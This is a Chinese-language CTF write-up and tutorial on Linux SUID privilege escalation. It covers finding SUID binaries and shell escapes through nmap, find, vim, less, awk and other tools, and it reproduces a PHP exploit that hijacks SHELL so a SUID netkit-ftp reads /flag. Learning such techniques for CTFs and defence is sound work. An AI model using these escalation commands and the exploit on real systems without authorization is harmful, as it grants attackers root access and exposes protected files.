2022蓝帽杯遇见的 SUID 提权 总结篇

may1as 2022-10-31 11:04:00

文前漫谈

SUID提权是前阵子在蓝帽杯中刚接触到的一个点,本来以为是挺鸡肋的一个点,但是前两天接触了一台真实使用的服务器(类似于上机排查取证)。发现竟然有很多可以利用的点,印象深刻的就是当时机子里有个vim-basic,甚至好像还有个find留着。这些都可能利用suid的特殊权限实现突破。于是重新学习一下。
SUID提权针对的是Linux下的被赋予特殊权限的二进制可执行文件,借助可执行文件的特殊权限实现提权。
image.png

什么是SUID

image (1).png

SUID (Set UID)是Linux中的一种特殊权限。用户运行某个程序时,若该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件(对应windows下的exe文件),对于非可执行文件设置SUID没有意义。
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
通俗的来讲,假设我们现在有一个可执行文件/bin/find,其属主为root。当我们通过非root用户登录时,如果find命令设置了SUID权限且属主为root,而恰好find命令能通过-exec选项执行系统命令,我们可在非root用户下运行find执行命令,在执行文件时,该进程的权限将为root权限。达到提权的效果。利用此特性,我们可以实现利用SUID权限的特殊进行提权

举个例子

准备两个可执行文件,root-see.c和normal-see.c
normal-see.c文件

#include <stdio.h>

int main()
{
    /* 我的第一个 C 程序 */
    printf("Hello, normal! \n");

    return 0;
}

root-see.c文件

#include <stdio.h>

int main()
{
    /* 我的第一个 C 程序 */
    printf("Hello, root! \n");

    return 0;
}

编译得到下面两个可执行文件 ,然后chmod设置权限。使普通用户无法执行root-see.out

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置 
  u代表文件所属者,suid权限是针对文件所属者而言的,只能对其所属者设置

image (2).png
下面我们尝试用suid提权执行root-see.out文件

寻找可利用文件

下面的三条命令都可以找到当前系统上文件属主为root并且拥有SUID权限的可执行文件。
准确的说,这个命令就是用find/目录往下查找具有SUID权限位且文件属主为root的文件在并在控制台输出,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

-user 指定文件拥有者
-perm 文件权限
-exec 执行系统命令

可以看见上面的root-see.out文件已经能查到
image (3).png

可利用文件总结

nmap(已失效)

网上说 nmap(2.02-5.21)存在交互模式,可利用提权。

nmap --interactive

之后执行:
nmap> !sh
sh-3.2# whoami
root

//这是真正意义上的提权,进入到了root用户的shell

但是这是老版本的,为了安全性,nmap的这个机制已经弃用。然后了解到较新版可使用--script参数

echo "os.execute('/var/www/html/root-see.out')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

.nse文件是nmap的定制脚本文件,用lua语言写的

image (4).png
可以看见,nmap的调用机制已经更新了,记住尝试时别在输入密码切换到root后再执行,因为你输入的密码会默认保存5分钟,那样是能执行的。
image (5).png

find (-exec执行命令)

find是个比较常用的命令,find用来在系统中查找文件。通常很少谈到它也有执行系统命令的功能。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令,并且都将以root身份去运行。但是现在很多系统上find命令默认没有SUID权限
image (6).png
所以这里为了演示,我赋予一个
image (7).png
开始尝试,find执行系统命令的格式,从下面的执行结果不难看出,find进程确实属于其拥有者

find \ -exec whoami \; 
  这个\;必须要有,而且和命令前要有个空格
  -exec:<执行指令>:假设find指令的回传值为True,就执行该指令;
  -true:将find指令的回传值皆设为True; 这个可能会用到

image (8).png
然后,尝试执行只有root有权限执行的文件,成功。
image (9).png

date 读取文件(比赛中遇见)

也是一个比赛里的,这他娘真算是一个比较偏僻的点,读文件用的
虽然会报错,但是还是会读取文件

命令格式
  date -f/--file <filename>

  -f, --file=DATEFILE:类似于--date; 一次从DATEFILE处理一行。

image (10).png

netkit-ftp提权(2022蓝帽杯)

netkit-ftp和ftp是一个东西
一般情况,ftp提权是在vps上搭建一个ftp服务端作接收端,然后让靶机上的ftp以root权限把文件传送过来就行了
蓝帽杯这题比较特殊,他是放在php交互脚本里进行命令执行,没办法在shell中与ftp交互,上面说的那种方式无法实现。
这里主要是劫持环境变量SHELL进行命令执行
cmds.c文件中,定位到netkit-ftp源码功能实现代码可知是从系统变量中获取SHELL变量进行执行
https://github.com/mmaraya/netkit-ftp

/*
* Do a shell escape
*/
void
shell(const char *arg)
{
    int pid;
    void (*old1)(int);
    void (*old2)(int);
    char shellnam[40];
    const char *theshell, *namep; 

    old1 = signal (SIGINT, SIG_IGN);
    old2 = signal (SIGQUIT, SIG_IGN);
    if ((pid = fork()) == 0) {
        for (pid = 3; pid < 20; pid++)
            (void) close(pid);
        (void) signal(SIGINT, SIG_DFL);
        (void) signal(SIGQUIT, SIG_DFL);
        //从环境变量中取SHELL变量
        theshell = getenv("SHELL");
        if (theshell == NULL)
            theshell = _PATH_BSHELL;
        namep = strrchr(theshell, '/');
        if (namep == NULL)
            namep = theshell;
        else 
            namep++;
        (void) snprintf(shellnam, sizeof(shellnam), "-%s", namep);
        if (strcmp(namep, "sh") != 0)
            shellnam[0] = '+';
        if (debug) {
            printf("%s\n", theshell);
            (void) fflush (stdout);
        }
        if (arg) {
            execl(theshell, shellnam, "-c", arg, NULL);
        }
        else {
            execl(theshell, shellnam, NULL);
        }
        perror(theshell);
        code = -1;
        exit(1);
    }
    if (pid > 0) while (wait(NULL) != pid);

    (void) signal(SIGINT, old1);
    (void) signal(SIGQUIT, old2);
    if (pid == -1) {
        perror("Try again later");
        code = -1;
    }
    else {
        code = 0;
    }
}

主要代码

//从环境变量中取SHELL赋给thshell变量
theshell = getenv("SHELL");
......
if (arg) {
execl(theshell, shellnam, "-c", arg, NULL);
//也是因为这里的-c,才选择的od命令
}
else {
execl(theshell, shellnam, NULL);
}
//execl()用来执行参数path字符串所代表的文件路径
这里SHELL变量用可执行文件的绝对路径
最终执行的是theshell -c xxxx命令

官方的给exp

putenv("SHELL=/usr/bin/od");
$descriptorspec = array(
   0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
   2 => array("pipe", "r")
);

$file=array();

$process = proc_open("ftp", $descriptorspec, $file);

var_dump($process);
var_dump($file);

function readln($file){
    $out = "";
    $a = fread($file, 1);
    echo "readln";
    while ($a != "\n") {
        $out = $out.$a;
        $a = fread($file, 1);
    }
    return $out;
}


fputs($file[0], "! /flag\n");
sleep("2");
$data = readln($file[1]);
echo $data;

proc_open执行一个命令,并且打开用来输入/输出的文件指针,它的参数可以根据官方文档进行魔改。这里把od命令(od有-c选项,且功能符合我们的要求赋给环境变量SHELL。

od -c
输出文件的八进制、十六进制等格式编码的字节
-c 使用ASCII码进行输出,注意其中包括转义字符

所以整个脚本的意思就是劫持环境变量SHELL为od命令,使用proc_open执行,并把它的输出流echo
image.png

Vim系列 执行系统命令

vim.tiny,vim-basic,vi等同样适用
进入vim命令行模式,感叹号后面加命令

!command
>!whoami
>kali
>:::

ed 执行系统命令

ed 命令 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。
命令行模式执行命令
image.png

less/more 执行系统命令

moreless一定要读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令执行命令或者进入shell

!command
!/bin/sh,进入shell

image.png

awk 执行系统命令

借助awk执行系统命令的方式很多

awk 'BEGIN {system("whoami")}'

image.png

time 执行系统命令

time ifconfig

image (11).png

dmesg 执行系统命令

显示Linux系统启动信息
dmesg命令 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在/var/log/dmesg文件里。
:::info
dmesg -H
:::
进入命令行模式,!command执行命令
image (12).png

env 执行系统命令

显示系统中已存在的环境变量

env whoami

image (13).png

flock 执行系统命令

是Linux 的文件锁命令。可以通过一个锁文件,来控制在shell 中逻辑的互斥性。

flock -u / ifconfig

image (14).png

ionice执行系统命令

获取或设置程序的IO调度与优先级。

ionice whoami

image.png

nice 执行系统命令

nice用于修改程序的优先级。

nice whoami

image (15).png

strace 执行系统命令

监控程序的执行状况
image (16).png

防御思路

管理者多注意特殊具有suid权限的可执行文件,分析其是否安全,点对点突破就ok了

总结

说太多也说不过来,具体情况具体分析。只要用上面的find命令找到前面的任一命令,那就可能是个突破点
当suid提权从你脑子里蹦出来,直接find找命令就行了,然后就给出的命令分析。主要是找一些异常的文件,然后分析它是否能执行系统命令,再进一步展开。
能执行命令的话,尝试直接/bin/sh -pshell就完事了
CTF中具体涉及到了的话,可以find之后一个一个研究,万一有的出题人狗,自己写一个命令让你去造也说不定呐(懂得都懂)。

参考文章

https://www.secrss.com/articles/28493

评论

F

f0zz 2022-10-31 17:17:53

学习了

漂亮猫 2022-11-01 09:09:23

这些都属于gtfobins

GTFOBins
https://gtfobins.github.io/

may1as 2022-11-01 20:51:12

好东西:)

may1as

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Python安全 文章:13 篇
Android 文章:89 篇
Windows安全 文章:88 篇
Web安全 文章:248 篇
神器分享 文章:71 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录